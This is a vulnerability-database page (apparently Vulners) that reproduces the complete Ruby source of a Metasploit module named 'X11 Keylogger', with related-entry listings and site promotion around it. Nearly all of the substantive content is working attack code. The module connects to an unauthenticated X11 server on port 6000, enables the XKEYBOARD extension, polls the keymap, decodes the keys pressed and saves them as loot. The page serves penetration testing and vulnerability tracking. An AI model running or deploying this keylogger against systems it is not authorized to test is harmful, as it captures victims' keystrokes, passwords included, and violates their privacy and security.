Lucene search
+L

X11 Keylogger

🗓️ 03 Dec 2024 18:58:25Reported by h00die, nir tzacharType 
metasploit
 metasploit
🔗 www.rapid7.com👁 336 Views

Logs keystrokes on X11 sessions with limitations on repeat and storage of keypresses.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-1999-0526
29 May 201815:50
circl
CVE
CVE-1999-0526
29 Sep 199904:00
cve
Cvelist
CVE-1999-0526
29 Sep 199904:00
cvelist
Metasploit
X11 No-Auth Scanner
16 Nov 200803:03
metasploit
NVD
CVE-1999-0526
1 Jul 199704:00
nvd
OpenVAS
X Server
3 Nov 200500:00
openvas
OpenVAS
Open X Server
3 Nov 200500:00
openvas
OpenVAS
Open X Server
3 Nov 200500:00
openvas
Packet Storm
X11 No-Auth Scanner
1 Sep 202400:00
packetstorm
Rapid7 Blog
Metasploit Weekly Wrap-Up 12/06/2024
6 Dec 202420:29
rapid7blog
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Exploit::Remote::Tcp
  include Rex::Proto::X11
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::X11

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'X11 Keylogger',
        'Description' => %q{
          This module binds to an open X11 host to log keystrokes. This is a fairly
          close copy of the old xspy c program which has been on Kali for a long time.
          The module works by connecting to the X11 session, creating a background
          window, binding a keyboard to it and creating a notification alert when a key
          is pressed.

          One of the major limitations of xspy, and thus this module, is that it polls
          at a very fast rate, faster than a key being pressed is released (especially before
          the repeat delay is hit). To combat printing multiple characters for a single key
          press, repeat characters arent printed when typed in a very fast manor. This is also
          an imperfect keylogger in that keystrokes arent stored and forwarded but status
          displayed at poll time. Keys may be repeated or missing.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # MSF module, X11 libs
          'nir tzachar' # original file? https://gitlab.com/kalilinux/packages/xspy/-/blob/kali/master/Xspy.c?ref_type=heads
        ],
        'References' => [
          [ 'URL', 'https://www.kali.org/tools/xspy/'],
          [ 'CVE', '1999-0526']
        ],
        'DefaultOptions' => {
          'RPORT' => 6000
        },
        'DisclosureDate' => '1997-07-01', # CVE date, but likely older
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [],
          'AKA' => ['xspy'],
          'RelatedModules' => [
            'auxiliary/scanner/x11/open_x11',
          ]
        }
      )
    )
    register_options [
      OptInt.new('LISTENER_TIMEOUT', [ true, 'The maximum number of seconds to keylog', 600 ]), # 10 minutes
      OptInt.new('PRINTERVAL', [ true, 'The interval to print keylogs in seconds', 60 ]) # 1 minutes
    ]
  end

  def check
    vprint_status('Establishing TCP Connection')
    connect # tcp connection establish
    vprint_status('Attempting X11 connection')
    connection = x11_connect

    if connection.nil?
      return Exploit::CheckCode::Safe('No connection, or bad X11 response received')
    end

    if connection.header.success == 1
      return Exploit::CheckCode::Appears('Successfully established X11 connection')
    end

    Exploit::CheckCode::Safe('X11 connection was not successful')
  end

  # This function takes map data and converts it to a hashtable so that
  # we can translate from x11 key press data to the actual key on the
  # keyboard which was pressed.
  # https://stackoverflow.com/a/28258750 has a good description of keysyms vs keycodes
  def build_sym_key_map(map_data)
    keysym_index = 0
    key_map = {}
    (map_data.min_key_code..map_data.max_key_code).each do |key_code|
      syms = map_data.key_map_array[keysym_index]
      if syms.n_syms == 0
        key_map[key_code] = nil
      else
        sym = map_data.key_map_array[keysym_index].key_sym_array[0]
        begin
          character = sym.chr
          character = '[space]' if character == ' '
        rescue RangeError
          if X11KEYSYM_HASH.key? sym
            character = X11KEYSYM_HASH[sym]
          else
            character = "Unknown key sym: #{sym}"
          end
        end
        key_map[key_code] = character
        # leaving in for debugging purposes
        # puts "i: #{key_code}, keysym_str: #{character}, keysym: #{keysym_index}"
      end
      keysym_index += 1
    end
    key_map
  end

  # TBH still don't really understand exactly how this works, but it does.
  def translate_keystroke(bit_array_of_keystrokes, key_map, last_key_press_array)
    # Iterate through each byte of keyboard state
    bit_array_of_keystrokes.each_with_index do |keyboard_state_byte, byte_index|
      next if last_key_press_array[byte_index] == keyboard_state_byte

      # Check each bit within the byte
      8.times do |j|
        next unless keyboard_state_byte & (1 << j) != 0

        # Key at position (i*8 + j) is pressed
        keycode = byte_index * 8 + j

        keysym = key_map[keycode]

        @keylogger_log += keysym
        @keylogger_print_buffer += keysym
      end
    end
  end

  def run
    query_extension_call_counter = 0
    @keylogger_log = ''
    @keylogger_print_buffer = ''

    vprint_status('Establishing TCP Connection')
    begin
      connect # tcp connection establish
    rescue Rex::ConnectionError
      fail_with(Msf::Module::Failure::Unreachable, 'Connection failed')
    end
    vprint_status('[1/9] Establishing X11 connection')
    connection = x11_connect

    fail_with(Msf::Module::Failure::UnexpectedReply, 'Port connected, but no response to X11 connection attempt') if connection.nil?

    if connection.header.success == 1
      x11_print_connection_info(connection, datastore['RHOST'], rport)
    else
      fail_with(Msf::Module::Failure::UnexpectedReply, 'X11 connection not successful')
    end

    vprint_status('[2/9] Checking on BIG-REQUESTS extension')
    big_requests_plugin = x11_query_extension('BIG-REQUESTS', query_extension_call_counter)
    fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if big_requests_plugin.nil?
    if big_requests_plugin.present == 1
      print_good("  Extension BIG-REQUESTS is present with id #{big_requests_plugin.major_opcode}")
    else
      fail_with(Msf::Module::Failure::UnexpectedReply, 'Extension BIG-REQUESTS is NOT present')
    end

    vprint_status('[3/9] Enabling BIG-REQUESTS')
    toggle = x11_toggle_extension(big_requests_plugin.major_opcode)
    fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil?

    vprint_status('[4/9] Creating new graphical context')
    gc_header = X11RequestHeader.new(opcode: 55)
    gc_body = X11CreateGraphicalContextRequestBody.new(
      cid: connection.body.resource_id_base,
      drawable: connection.body.screen_root,
      gc_value_mask_background: 1
    )

    gp_header = X11RequestHeader.new(opcode: 20)
    gp_body = X11GetPropertyRequestBody.new(window: connection.body.screen_root)

    sock.put(gc_header.to_binary_s +
             gc_body.to_binary_s +
             gp_header.to_binary_s +
             gp_body.to_binary_s) # not sure why we also do a get property, but it emulates how the library works

    # nothing valuable in the response, just make sure we read it in to
    # confirm its expected data and not leave the response on the socket
    x11_read_response(X11GetPropertyResponse)

    vprint_status('[5/9] Checking on XKEYBOARD extension')
    xkeyboard_plugin = x11_query_extension('XKEYBOARD', query_extension_call_counter)
    fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if xkeyboard_plugin.nil?
    if xkeyboard_plugin.present == 1
      print_good("  Extension XKEYBOARD is present with id #{xkeyboard_plugin.major_opcode}")
    else
      fail_with(Msf::Module::Failure::UnexpectedReply, 'Extension XKEYBOARD is NOT present')
    end

    vprint_status('[6/9] Enabling XKEYBOARD')
    toggle = x11_toggle_extension(xkeyboard_plugin.major_opcode, wanted_major: 1)
    fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil?

    vprint_status('[7/9] Requesting XKEYBOARD map')
    sock.put(X11GetMapRequest.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
                                  full_key_types: 1,
                                  full_key_syms: 1,
                                  full_modifier_map: 1).to_binary_s)

    map_data = x11_read_response(X11GetMapResponse)

    vprint_status('[8/9] Enabling notification on keyboard and map')
    sock.put(X11SelectEvents.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
                                 affect_which_new_keyboard_notify: 1,
                                 affect_new_keyboard_key_codes: 1,
                                 affect_new_keyboard_device_id: 1).to_binary_s +
             X11SelectEvents.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
                                 affect_which_map_notify: 1,
                                 affect_map_key_types: 1,
                                 affect_map_key_syms: 1,
                                 affect_map_modifier_map: 1,
                                 map_key_types: 1,
                                 map_key_syms: 1,
                                 map_modifier_map: 1).to_binary_s) # not sure what this does, but emulates x11 c library
    # this request doesn't receive any response data

    vprint_status('[9/9] Creating local keyboard map')
    key_map = build_sym_key_map(map_data)
    last_key_press_array = Array.new(32, 0)
    empty = Array.new(32, 0)

    print_good('All setup, watching for keystrokes')
    # loop mechanics stolen from exploit/multi/handler
    stime = Process.clock_gettime(Process::CLOCK_MONOTONIC)
    print_timer = Process.clock_gettime(Process::CLOCK_MONOTONIC)
    timeout = datastore['LISTENER_TIMEOUT'].to_i
    printerval = datastore['PRINTERVAL'].to_i
    begin
      loop do
        # sleep 1
        break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC))

        sock.put(X11QueryKeyMapRequest.new.to_binary_s)
        query_key_map_response = x11_read_response(X11QueryKeyMapResponse)
        bit_array_of_keystrokes = query_key_map_response.data
        # we poll FAR quicker than a normal key press, so we need to filter repeats
        unless bit_array_of_keystrokes == last_key_press_array # skip repeats
          translate_keystroke(bit_array_of_keystrokes, key_map, last_key_press_array) unless bit_array_of_keystrokes == empty
          last_key_press_array = bit_array_of_keystrokes
        end

        next unless print_timer + printerval < Time.now.to_f

        print_timer = Time.now.to_f
        if @keylogger_print_buffer.empty?
          print_bad('No X11 key presses observed')
          next
        end
        print_good("X11 Key presses observed: #{@keylogger_print_buffer}")
        @keylogger_print_buffer = ''
      end
    rescue EOFError
      print_error('Connection closed by remote host')
    ensure
      vprint_status('Closing X11 connection')
      sock.put(Rex::Proto::X11::X11RequestHeader.new(opcode: 60).to_binary_s +
        X11FreeGraphicalContextRequestBody.new(gc: connection.body.resource_id_base).to_binary_s +
        Rex::Proto::X11::X11RequestHeader.new(opcode: 43).to_binary_s +
        X11GetInputFocusRequestBody.new.to_binary_s)
      disconnect

      if @keylogger_print_buffer.empty?
        print_bad('No X11 key presses observed')
      else
        print_good("X11 Key presses observed: #{@keylogger_print_buffer}")
      end

      unless @keylogger_log == ''
        loot_path = store_loot(
          'x11.keylogger',
          'text/plain',
          datastore['rhost'],
          @keylogger_log,
          'xspy.txt',
          'Keylogger content from X11'
        )

        print_good("Logged keys stored to: #{loot_path}")
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2026 19:06Current
6.5Medium risk
Vulners AI Score6.5
CVSS 210
EPSS0.20817
336